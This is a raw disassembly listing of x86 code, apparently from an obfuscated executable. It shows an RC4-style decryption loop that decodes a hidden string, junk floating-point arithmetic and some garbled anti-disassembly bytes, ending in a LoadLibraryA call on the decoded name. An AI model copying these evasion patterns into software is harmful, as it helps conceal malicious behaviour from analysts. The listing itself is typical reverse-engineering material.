mov byte [ebp - 0x3298], cl
mov cl, byte [ebp - 0x3336]
mov byte [ebp - 0x32da], cl
mov dl, byte [ebp - 0x3298]
mov byte [ebp - 0x345a], dl
cmp dword [ebp - 0x33d0], 0
jbe 0x49b514
mov eax, dword [ebp - 0x33d0]
sub eax, 1
shl eax, 0
lea ecx, [ebp - 0x8e4]
mov dl, byte [ebp - 0x345a]
mov byte [eax + ecx], dl
mov eax, dword [ebp - 0x33d0]
add eax, 1
mov dword [ebp - 0x33d0], eax
mov ecx, dword [ebp - 0x3758]
add ecx, 1
mov dword [ebp - 0x3758], ecx
mov edx, dword [ebp - 0x33d0]
shl edx, 1
mov dword [ebp - 0x3e64], edx
mov eax, dword [ebp - 0x3e64]
shl eax, 0
add eax, dword [ebp - 0x3f74]
movzx ecx, byte [eax]
mov dword [ebp - 0x3b88], ecx
mov dword [ebp - 0x3b8c], 0xef
mov edx, dword [ebp - 0x33d0]
shl edx, 1
add edx, 1
mov dword [ebp - 0x3e68], edx
mov eax, dword [ebp - 0x3e68]
shl eax, 0
add eax, dword [ebp - 0x3f74]
movzx ecx, byte [eax]
mov dword [ebp - 0x3b90], ecx
mov dword [ebp - 0x3b94], 0xc6
mov edx, dword [ebp - 0x3b88]
sub edx, dword [ebp - 0x3b8c]
mov dword [ebp - 0x3b98], edx
mov eax, dword [ebp - 0x3b90]
sub eax, dword [ebp - 0x3b94]
mov dword [ebp - 0x3b9c], eax
mov ecx, dword [ebp - 0x3b98]
shl ecx, 4
mov dword [ebp - 0x3cfc], ecx
mov edx, dword [ebp - 0x3b9c]
mov dword [ebp - 0x3d00], edx
mov eax, dword [ebp - 0x3cfc]
or eax, dword [ebp - 0x3d00]
mov dword [ebp - 0x3d04], eax
mov cl, byte [ebp - 0x3d04]
mov byte [ebp - 0x3336], cl
movzx edx, byte [ebp - 0x32da]
shl edx, 0
lea eax, [ebp - 0x1d18]
mov cl, byte [edx + eax]
mov byte [ebp - 0x3335], cl
movzx edx, byte [ebp - 0x3259]
shl edx, 0
lea eax, [ebp - 0x1d18]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x3297]
add edx, ecx
mov byte [ebp - 0x3297], dl
mov al, byte [ebp - 0x3259]
add al, 1
mov byte [ebp - 0x3259], al
movzx ecx, byte [ebp - 0x3297]
shl ecx, 0
lea edx, [ebp - 0x1d18]
movzx eax, byte [ebp - 0x32da]
shl eax, 0
lea esi, [ebp - 0x1d18]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3298]
shl edx, 0
lea eax, [ebp - 0x1d18]
movzx ecx, byte [ebp - 0x3297]
shl ecx, 0
lea esi, [ebp - 0x1d18]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3259]
shl eax, 0
lea ecx, [ebp - 0x1d18]
movzx edx, byte [ebp - 0x3298]
shl edx, 0
lea esi, [ebp - 0x1d18]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3259]
shl ecx, 0
lea edx, [ebp - 0x1d18]
mov al, byte [ebp - 0x3335]
mov byte [ecx + edx], al
movzx ecx, byte [ebp - 0x3335]
shl ecx, 0
lea edx, [ebp - 0x1d18]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x332c]
add ecx, eax
mov byte [ebp - 0x332c], cl
movzx edx, byte [ebp - 0x3336]
movzx eax, byte [ebp - 0x3297]
shl eax, 0
lea ecx, [ebp - 0x1d18]
movzx eax, byte [eax + ecx]
movzx ecx, byte [ebp - 0x3259]
shl ecx, 0
lea esi, [ebp - 0x1d18]
movzx ecx, byte [ecx + esi]
add eax, ecx
and eax, 0xff
shl eax, 0
lea ecx, [ebp - 0x1d18]
movzx eax, byte [eax + ecx]
xor edx, eax
movzx ecx, byte [ebp - 0x3298]
shl ecx, 0
lea eax, [ebp - 0x1d18]
movzx ecx, byte [ecx + eax]
movzx eax, byte [ebp - 0x32da]
shl eax, 0
lea esi, [ebp - 0x1d18]
movzx eax, byte [eax + esi]
add ecx, eax
movzx eax, byte [ebp - 0x332c]
shl eax, 0
lea esi, [ebp - 0x1d18]
movzx eax, byte [eax + esi]
add ecx, eax
and ecx, 0xff
shl ecx, 0
lea eax, [ebp - 0x1d18]
movzx ecx, byte [ecx + eax]
shl ecx, 0
lea eax, [ebp - 0x1d18]
movzx ecx, byte [ecx + eax]
xor edx, ecx
mov byte [ebp - 0x3298], dl
mov dl, byte [ebp - 0x3336]
mov byte [ebp - 0x32da], dl
mov al, byte [ebp - 0x3298]
mov byte [ebp - 0x345a], al
cmp dword [ebp - 0x33d0], 0
jbe 0x49b7d3
mov ecx, dword [ebp - 0x33d0]
sub ecx, 1
shl ecx, 0
lea edx, [ebp - 0x8e4]
mov al, byte [ebp - 0x345a]
mov byte [ecx + edx], al
mov ecx, dword [ebp - 0x33d0]
add ecx, 1
mov dword [ebp - 0x33d0], ecx
mov edx, dword [ebp - 0x3758]
add edx, 1
mov dword [ebp - 0x3758], edx
mov eax, dword [ebp - 0x33d0]
shl eax, 1
mov dword [ebp - 0x3e64], eax
mov ecx, dword [ebp - 0x3e64]
shl ecx, 0
add ecx, dword [ebp - 0x3f74]
movzx edx, byte [ecx]
mov dword [ebp - 0x3b88], edx
mov dword [ebp - 0x3b8c], 0xef
mov eax, dword [ebp - 0x33d0]
shl eax, 1
add eax, 1
mov dword [ebp - 0x3e68], eax
movsd xmm0, qword [0x9d0660]
movsd qword [ebp - 0x53fc], xmm0
movsd xmm0, qword [0x9d4af0]
movsd qword [ebp - 0x59a0], xmm0
movsd xmm0, qword [0x9d4888]
movsd qword [ebp - 0x5c70], xmm0
movsd xmm0, qword [0x9d4658]
movsd qword [ebp - 0x5c78], xmm0
movsd xmm0, qword [0x9d4410]
movsd qword [ebp - 0x56c4], xmm0
movsd xmm0, qword [0x9d41c8]
movsd qword [ebp - 0x58cc], xmm0
movsd xmm0, qword [0x9d3f30]
movsd qword [ebp - 0x4df8], xmm0
movsd xmm0, qword [ebp - 0x5c78]
addsd xmm0, qword [ebp - 0x4df8]
movsd qword [ebp - 0x5c78], xmm0
movsd xmm0, qword [ebp - 0x58cc]
subsd xmm0, qword [ebp - 0x4df8]
movsd qword [ebp - 0x58cc], xmm0
movsd xmm0, qword [ebp - 0x5c70]
addsd xmm0, qword [ebp - 0x4df8]
movsd qword [ebp - 0x5c70], xmm0
movsd xmm0, qword [ebp - 0x59a0]
mulsd xmm0, qword [ebp - 0x4df8]
movsd qword [ebp - 0x59a0], xmm0
movsd xmm0, qword [ebp - 0x53fc]
mulsd xmm0, qword [ebp - 0x4df8]
movsd qword [ebp - 0x53fc], xmm0
movsd xmm0, qword [ebp - 0x53fc]
subsd xmm0, qword [ebp - 0x4df8]
movsd qword [ebp - 0x53fc], xmm0
movsd xmm0, qword [ebp - 0x53fc]
mulsd xmm0, qword [ebp - 0x4df8]
movsd qword [ebp - 0x53fc], xmm0
movsd xmm0, qword [ebp - 0x53fc]
comisd xmm0, xmmword [ebp - 0x58cc]
jbe 0x49ba25
movsd xmm0, qword [ebp - 0x4df8]
subsd xmm0, qword [ebp - 0x59a0]
movsd qword [ebp - 0x4df8], xmm0
movsd xmm0, qword [ebp - 0x4df8]
mulsd xmm0, qword [ebp - 0x59a0]
movsd qword [ebp - 0x4df8], xmm0
movsd xmm0, qword [ebp - 0x56c4]
subsd xmm0, qword [ebp - 0x4df8]
movsd qword [ebp - 0x56c4], xmm0
movsd xmm0, qword [ebp - 0x53fc]
mulsd xmm0, qword [ebp - 0x5c70]
movsd qword [ebp - 0x53fc], xmm0
movsd xmm0, qword [ebp - 0x5c70]
mulsd xmm0, qword [ebp - 0x56c4]
movsd qword [ebp - 0x5c70], xmm0
movsd xmm0, qword [ebp - 0x4df8]
addsd xmm0, qword [ebp - 0x59a0]
movsd qword [ebp - 0x4df8], xmm0
mov ecx, dword [ebp - 0x3e68]
shl ecx, 0
add ecx, dword [ebp - 0x3f74]
movzx edx, byte [ecx]
mov dword [ebp - 0x3b90], edx
movsd xmm0, qword [ebp - 0x5c78]
subsd xmm0, qword [ebp - 0x58cc]
movsd qword [ebp - 0x5c78], xmm0
jmp 0x49bacd
movsd xmm0, qword [ebp - 0x56c4]
mulsd xmm0, qword [ebp - 0x58cc]
movsd qword [ebp - 0x56c4], xmm0
movsd xmm0, qword [ebp - 0x53fc]
subsd xmm0, qword [ebp - 0x59a0]
movsd qword [ebp - 0x53fc], xmm0
movsd xmm0, qword [ebp - 0x58cc]
addsd xmm0, qword [ebp - 0x4df8]
movsd qword [ebp - 0x58cc], xmm0
movsd xmm0, qword [ebp - 0x56c4]
mulsd xmm0, qword [ebp - 0x58cc]
movsd qword [ebp - 0x56c4], xmm0
movsd xmm0, qword [ebp - 0x59a0]
subsd xmm0, qword [ebp - 0x5c70]
movsd qword [ebp - 0x59a0], xmm0
movsd xmm0, qword [ebp - 0x56c4]
addsd xmm0, qword [ebp - 0x58cc]
movsd qword [ebp - 0x56c4], xmm0
movsd xmm0, qword [ebp - 0x5c78]
mulsd xmm0, qword [ebp - 0x56c4]
movsd qword [ebp - 0x5c78], xmm0
mov dword [ebp - 0x3b94], 0xc6
mov eax, dword [ebp - 0x3b88]
sub eax, dword [ebp - 0x3b8c]
mov dword [ebp - 0x3b98], eax
mov ecx, dword [ebp - 0x3b90]
sub ecx, dword [ebp - 0x3b94]
mov dword [ebp - 0x3b9c], ecx
mov edx, dword [ebp - 0x3b98]
shl edx, 4
mov dword [ebp - 0x3cfc], edx
mov eax, dword [ebp - 0x3b9c]
mov dword [ebp - 0x3d00], eax
mov ecx, dword [ebp - 0x3cfc]
or ecx, dword [ebp - 0x3d00]
mov dword [ebp - 0x3d04], ecx
mov dl, byte [ebp - 0x3d04]
mov byte [ebp - 0x3336], dl
movzx eax, byte [ebp - 0x32da]
shl eax, 0
lea ecx, [ebp - 0x1d18]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x3335], dl
movzx eax, byte [ebp - 0x3259]
shl eax, 0
lea ecx, [ebp - 0x1d18]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x3297]
add eax, edx
mov byte [ebp - 0x3297], al
mov cl, byte [ebp - 0x3259]
add cl, 1
mov byte [ebp - 0x3259], cl
movzx edx, byte [ebp - 0x3297]
shl edx, 0
lea eax, [ebp - 0x1d18]
movzx ecx, byte [ebp - 0x32da]
shl ecx, 0
lea esi, [ebp - 0x1d18]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3298]
shl eax, 0
lea ecx, [ebp - 0x1d18]
movzx edx, byte [ebp - 0x3297]
shl edx, 0
lea esi, [ebp - 0x1d18]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3259]
shl ecx, 0
lea edx, [ebp - 0x1d18]
movzx eax, byte [ebp - 0x3298]
shl eax, 0
lea esi, [ebp - 0x1d18]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3259]
shl edx, 0
lea eax, [ebp - 0x1d18]
mov cl, byte [ebp - 0x3335]
mov byte [edx + eax], cl
movzx edx, byte [ebp - 0x3335]
shl edx, 0
lea eax, [ebp - 0x1d18]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x332c]
add edx, ecx
mov byte [ebp - 0x332c], dl
movzx eax, byte [ebp - 0x3336]
movzx ecx, byte [ebp - 0x3297]
shl ecx, 0
lea edx, [ebp - 0x1d18]
movzx ecx, byte [ecx + edx]
movzx edx, byte [ebp - 0x3259]
shl edx, 0
lea esi, [ebp - 0x1d18]
movzx edx, byte [edx + esi]
add ecx, edx
and ecx, 0xff
shl ecx, 0
lea edx, [ebp - 0x1d18]
movzx ecx, byte [ecx + edx]
xor eax, ecx
movzx edx, byte [ebp - 0x3298]
shl edx, 0
lea ecx, [ebp - 0x1d18]
movzx edx, byte [edx + ecx]
movzx ecx, byte [ebp - 0x32da]
shl ecx, 0
lea esi, [ebp - 0x1d18]
movzx ecx, byte [ecx + esi]
add edx, ecx
movzx ecx, byte [ebp - 0x332c]
shl ecx, 0
lea esi, [ebp - 0x1d18]
movzx ecx, byte [ecx + esi]
add edx, ecx
and edx, 0xff
shl edx, 0
lea ecx, [ebp - 0x1d18]
movzx edx, byte [edx + ecx]
shl edx, 0
lea ecx, [ebp - 0x1d18]
movzx edx, byte [edx + ecx]
xor eax, edx
mov byte [ebp - 0x3298], al
mov al, byte [ebp - 0x3336]
mov byte [ebp - 0x32da], al
mov cl, byte [ebp - 0x3298]
mov byte [ebp - 0x345a], cl
cmp dword [ebp - 0x33d0], 0
jbe 0x49bd17
mov edx, dword [ebp - 0x33d0]
sub edx, 1
shl edx, 0
lea eax, [ebp - 0x8e4]
mov cl, byte [ebp - 0x345a]
mov byte [edx + eax], cl
mov edx, dword [ebp - 0x3758]
add edx, 4
mov dword [ebp - 0x3758], edx
mov eax, dword [ebp - 0x33d0]
add eax, 1
mov dword [ebp - 0x49ec], eax
jmp 0x49bd46
mov edx, dword [ebp - 0x49ec]
cmp edx, dword [ebp - 0x3758]
jge 0x49c2bd
mov eax, dword [ebp - 0x33d0]
add eax, 1
mov dword [ebp - 0x33d0], eax
mov ecx, dword [ebp - 0x33d0]
shl ecx, 1
mov dword [ebp - 0x3e64], ecx
mov edx, dword [ebp - 0x3e64]
shl edx, 0
add edx, dword [ebp - 0x3f74]
movzx eax, byte [edx]
mov dword [ebp - 0x3b88], eax
mov dword [ebp - 0x3b8c], 0xef
mov ecx, dword [ebp - 0x33d0]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x3e68], ecx
mov edx, dword [ebp - 0x3e68]
shl edx, 0
add edx, dword [ebp - 0x3f74]
movzx eax, byte [edx]
mov dword [ebp - 0x3b90], eax
mov dword [ebp - 0x3b94], 0xc6
mov ecx, dword [ebp - 0x3b88]
sub ecx, dword [ebp - 0x3b8c]
mov dword [ebp - 0x3b98], ecx
mov edx, dword [ebp - 0x3b90]
sub edx, dword [ebp - 0x3b94]
mov dword [ebp - 0x3b9c], edx
mov eax, dword [ebp - 0x3b98]
shl eax, 4
mov dword [ebp - 0x3cfc], eax
mov ecx, dword [ebp - 0x3b9c]
mov dword [ebp - 0x3d00], ecx
mov edx, dword [ebp - 0x3cfc]
or edx, dword [ebp - 0x3d00]
mov dword [ebp - 0x3d04], edx
mov al, byte [ebp - 0x3d04]
mov byte [ebp - 0x3336], al
movzx ecx, byte [ebp - 0x32da]
shl ecx, 0
lea edx, [ebp - 0x1d18]
mov al, byte [ecx + edx]
mov byte [ebp - 0x3335], al
movzx ecx, byte [ebp - 0x3259]
shl ecx, 0
lea edx, [ebp - 0x1d18]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x3297]
add ecx, eax
mov byte [ebp - 0x3297], cl
mov dl, byte [ebp - 0x3259]
add dl, 1
mov byte [ebp - 0x3259], dl
movzx eax, byte [ebp - 0x3297]
shl eax, 0
lea ecx, [ebp - 0x1d18]
movzx edx, byte [ebp - 0x32da]
shl edx, 0
lea esi, [ebp - 0x1d18]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3298]
shl ecx, 0
lea edx, [ebp - 0x1d18]
movzx eax, byte [ebp - 0x3297]
shl eax, 0
lea esi, [ebp - 0x1d18]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3259]
shl edx, 0
lea eax, [ebp - 0x1d18]
movzx ecx, byte [ebp - 0x3298]
shl ecx, 0
lea esi, [ebp - 0x1d18]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3259]
shl eax, 0
lea ecx, [ebp - 0x1d18]
mov dl, byte [ebp - 0x3335]
mov byte [eax + ecx], dl
movzx eax, byte [ebp - 0x3335]
shl eax, 0
lea ecx, [ebp - 0x1d18]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x332c]
add eax, edx
mov byte [ebp - 0x332c], al
movsd xmm0, qword [0x9d4dc0]
movsd qword [ebp - 0x4358], xmm0
movsd xmm0, qword [0x9d4b58]
movsd qword [ebp - 0x4b28], xmm0
movsd xmm0, qword [0x9d46f8]
movsd qword [ebp - 0x4b20], xmm0
movsd xmm0, qword [0x9d4210]
movsd qword [ebp - 0x4954], xmm0
movsd xmm0, qword [ebp - 0x4b28]
subsd xmm0, qword [ebp - 0x4954]
movsd qword [ebp - 0x4b28], xmm0
movsd xmm0, qword [ebp - 0x4b20]
mulsd xmm0, qword [ebp - 0x4954]
movsd qword [ebp - 0x4b20], xmm0
movsd xmm0, qword [ebp - 0x4b20]
mulsd xmm0, qword [ebp - 0x4954]
movsd qword [ebp - 0x4b20], xmm0
movsd xmm0, qword [ebp - 0x4358]
mulsd xmm0, qword [ebp - 0x4954]
movsd qword [ebp - 0x4358], xmm0
movsd xmm0, qword [ebp - 0x4b20]
comisd xmm0, xmmword [ebp - 0x4954]
jbe 0x49c0e8
movsd xmm0, qword [ebp - 0x4b28]
mulsd xmm0, qword [ebp - 0x4954]
movsd qword [ebp - 0x4b28], xmm0
movsd xmm0, qword [ebp - 0x4b28]
mulsd xmm0, qword [ebp - 0x4954]
movsd qword [ebp - 0x4b28], xmm0
movsd xmm0, qword [ebp - 0x4358]
mulsd xmm0, qword [ebp - 0x4b20]
movsd qword [ebp - 0x4358], xmm0
movzx ecx, byte [ebp - 0x3336]
movzx edx, byte [ebp - 0x3297]
shl edx, 0
lea eax, [ebp - 0x1d18]
movzx edx, byte [edx + eax]
movzx eax, byte [ebp - 0x3259]
shl eax, 0
lea esi, [ebp - 0x1d18]
movzx eax, byte [eax + esi]
add edx, eax
and edx, 0xff
shl edx, 0
lea eax, [ebp - 0x1d18]
movzx edx, byte [edx + eax]
xor ecx, edx
movzx eax, byte [ebp - 0x3298]
shl eax, 0
lea edx, [ebp - 0x1d18]
movzx eax, byte [eax + edx]
movzx edx, byte [ebp - 0x32da]
shl edx, 0
lea esi, [ebp - 0x1d18]
movzx edx, byte [edx + esi]
add eax, edx
movzx edx, byte [ebp - 0x332c]
shl edx, 0
lea esi, [ebp - 0x1d18]
movzx edx, byte [edx + esi]
add eax, edx
and eax, 0xff
shl eax, 0
lea edx, [ebp - 0x1d18]
movzx eax, byte [eax + edx]
shl eax, 0
lea edx, [ebp - 0x1d18]
movzx eax, byte [eax + edx]
xor ecx, eax
mov byte [ebp - 0x3298], cl
movsd xmm0, qword [ebp - 0x4358]
subsd xmm0, qword [ebp - 0x4b20]
movsd qword [ebp - 0x4358], xmm0
jmp 0x49c27c
movsd xmm0, qword [ebp - 0x4b28]
subsd xmm0, qword [ebp - 0x4b20]
movsd qword [ebp - 0x4b28], xmm0
movsd xmm0, qword [ebp - 0x4954]
addsd xmm0, qword [ebp - 0x4358]
movsd qword [ebp - 0x4954], xmm0
movsd xmm0, qword [ebp - 0x4b20]
divsd xmm0, qword [ebp - 0x4954]
movsd qword [ebp - 0x4b20], xmm0
movsd xmm0, qword [ebp - 0x4358]
addsd xmm0, qword [ebp - 0x4b28]
movsd qword [ebp - 0x4358], xmm0
movsd xmm0, qword [ebp - 0x4358]
addsd xmm0, qword [ebp - 0x4b20]
movsd qword [ebp - 0x4358], xmm0
movsd xmm0, qword [ebp - 0x4b20]
mulsd xmm0, qword [ebp - 0x4358]
movsd qword [ebp - 0x4b20], xmm0
movsd xmm0, qword [ebp - 0x4954]
subsd xmm0, qword [ebp - 0x4b28]
movsd qword [ebp - 0x4954], xmm0
movsd xmm0, qword [ebp - 0x4358]
subsd xmm0, qword [ebp - 0x4b20]
movsd qword [ebp - 0x4358], xmm0
movsd xmm0, qword [ebp - 0x4358]
comisd xmm0, xmmword [ebp - 0x4b20]
jbe 0x49c21c
mov eax, dword [ebp - 0x3758]
add eax, 1
mov dword [ebp - 0x3758], eax
mov ecx, dword [ebp - 0x3758]
add ecx, 4
mov dword [ebp - 0x3758], ecx
mov edx, dword [ebp - 0x33d0]
add edx, 1
mov dword [ebp - 0x49ec], edx
jmp 0x49c2fb
mov ecx, dword [ebp - 0x49ec]
cmp ecx, dword [ebp - 0x3758]
jge 0x49c846
mov dword [ebp - 0x33d0], 0
jmp 0x49cf92
mov edx, dword [ebp - 0x33d0]
add edx, 1
mov dword [ebp - 0x33d0], edx
cmp dword [ebp - 0x33d0], 0xd
jae 0x49cfc8
mov eax, dword [ebp - 0x33d0]
mov dword [ebp - 0x5d50], eax
cmp dword [ebp - 0x5d50], 0xd
jae 0x49cfb2
jmp 0x49cfb7
call fcn.009b1617
lea ecx, [ebp - 0x8e4]
add ecx, dword [ebp - 0x5d50]
mov byte [ecx], 0
jmp 0x49cf83
lea edx, [ebp - 0x8e4]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x348c], eax
xorps xmm0, xmm0
movsd qword [ebp - 0x5404], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x51bc], xmm0
mov dword [ebp - 0x3444], 0
mov dword [ebp - 0x49e4], 0
mov dword [ebp - 0x5874], 0
mov dword [ebp - 0x55ec], 1
mov dword [ebp - 0x46bc], 0
mov dword [ebp - 0x5b34], 0
mov dword [ebp - 0x3904], 0
mov dword [ebp - 0x4090], 0
mov dword [ebp - 0x3f7c], 0
mov dword [ebp - 0x3f80], 0
mov dword [ebp - 0x4094], 0
mov dword [ebp - 0x3f88], 0
mov dword [ebp - 0x3f8c], 0
mov dword [ebp - 0x3f90], 0
mov dword [ebp - 0x3f94], 0
mov dword [ebp - 0x4098], 0
mov dword [ebp - 0x409c], 0
mov dword [ebp - 0x40a0], 0
mov dword [ebp - 0x49e0], 0
mov byte [ebp - 0x327c], 0
mov byte [ebp - 0x32bc], 0
mov byte [ebp - 0x3395], 0
mov byte [ebp - 0x32bd], 0
mov byte [ebp - 0x3311], 0
mov byte [ebp - 0x3409], 0
mov byte [ebp - 0x3d9d], 0
mov byte [ebp - 0x3394], 0
mov byte [ebp - 0x3396], 0
mov byte [ebp - 0x347e], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x5404], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x51bc], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x51bc], xmm0
jmp 0x49d130
movsd xmm0, qword [0x9d4f38]
comisd xmm0, xmmword [ebp - 0x51bc]
jbe 0x49d1e1
movsd xmm0, qword [0x9d3d88]
mulsd xmm0, qword [ebp - 0x51bc]
mulsd xmm0, qword [ebp - 0x51bc]
movsd xmm1, qword [ebp - 0x51bc]
mulsd xmm1, qword [ebp - 0x51bc]
subsd xmm0, xmm1
movsd xmm1, qword [0x9d3a08]
mulsd xmm1, qword [ebp - 0x51bc]
or byte [edx], bh
popfd
add dl, dh
mulps xmm1, xmmword [ebp - 0x51bc]
mulsd xmm1, qword [ebp - 0x51bc]
mulps xmm1, xmmword [ebp - 0x51bc]
addsd xmm1, qword [0x9d3bb8]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x5404]
movsd qword [ebp - 0x5404], xmm0
movsd xmm0, qword [ebp - 0x5404]
comisd xmm0, xmmword [0x9d3cf8]
jbe 0x49d1dc
movsd xmm0, qword [0x9d3918]
mulsd xmm0, qword [ebp - 0x51bc]
movsd xmm1, qword [ebp - 0x5404]
subsd xmm1, xmm0
movsd qword [ebp - 0x5404], xmm1
jmp 0x49d118
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x5404]
jbe 0x49d223
test dword [ecx - 0x7b], edi
jns 0x49d271
jbe 0x49d176
je 0x49d183
jnp 0x49d276
mov dword [ebp - 0x6140], 0x49d1ee
mov dword [ebp - 0x613c], 0x49d208
mov eax, dword [ebp - 0x6140]
mov dword [ebp - 0x4270], eax
mov ecx, dword [ebp - 0x613c]
mov dword [ebp - 0x6138], ecx
mov byte [ebp - 0x3d9d], 0x1a
mov dword [ebp - 0x3444], 0
mov dword [ebp - 0x49e4], 0
mov dword [ebp - 0x3444], 0
jmp 0x49d285
add byte [eax], al
add bl, ch
jnp 0x158f10
mov edx, dword [ebp - 0x3444]
add edx, 1
mov dword [ebp - 0x3444], edx
inc dword [ebx - 0x6a76fe3e]
mov esp, 0x81ffffcb
mov ebp, 0xffffcbbc
add byte [ecx], al
add byte [eax], al
cmp dword [ebp - 0x3444], 0x100
jae 0x49d2ab
mov eax, dword [ebp - 0x3444]
shl eax, 0
lea ecx, [ebp - 0x2760]
mov dl, byte [ebp - 0x3444]
mov byte [eax + ecx], dl
jmp 0x49d276
mov dword [ebp - 0x49e4], 0
mov byte [ebp - 0x3409], 0
mov dword [ebp - 0x3444], 0xff
jmp 0x49d2d7
cmp dword [ebp - 0x3444], 0
jbe 0x49d59d